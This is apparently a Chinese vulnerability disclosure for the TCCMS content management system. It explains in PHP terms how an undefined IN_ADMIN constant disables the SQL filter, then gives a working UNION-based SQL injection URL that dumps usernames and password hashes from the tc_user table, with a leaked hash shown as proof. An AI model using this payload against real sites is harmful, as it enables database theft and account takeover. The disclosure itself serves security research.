Tccms sql注入#2

漏洞作者: roker

常量未定义。 看到 /system/core/controller.class.php [php] private function forceAttack() { $attack = M('attack'); if (Config::get("blackcheck") == 1 && !defined('IN_ADMIN') && $_GET['ac'] != 'common_newCode') { $canBePass = $attack->checkForbidden(); if ($canBePass) { $this->setValue("error", Config::lang("YOUAREPROHIBITED")); $this->forward("error.html"); exit; } }   if (Config::get("checkHack") && IN_ADMIN != TRUE) { $attack->initLogHacker(); } } [/php] 当Config::get("checkHack") && IN_ADMIN != TRUE 时 调用 initLogHacker,过滤sql。 checkHack默认是为true的 然而 IN_ADMIN 常量是未定义的 在 php中 如果使用了一个未定义的常量,PHP 假定想要的是该常量本身的名字,如同用字符串调用它一样(CONSTANT 对应 "CONSTANT")。此时将发出一个 E_NOTICE 级的错误(参考 http://php.net/manual/zh/language.constants.syntax.php) 此时 IN_ADMIN = "IN_ADMIN " 所以 为 true的。 if (Config::get("checkHack") && IN_ADMIN != TRUE) 逻辑不成立 导致 sql过滤函数调用失败。 我们注册用户后 访问 [php] http://localhost/index.php?ac=news_all&yz=1%20union%20select%20group_concat%28username,0x23,password%29,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29%20from%20tc_user%23 [/php]

漏洞证明:

241009230b5782961581dbbdf68a5708eaeb6aee   爆出管理员在内的所有用户信息  

发表评论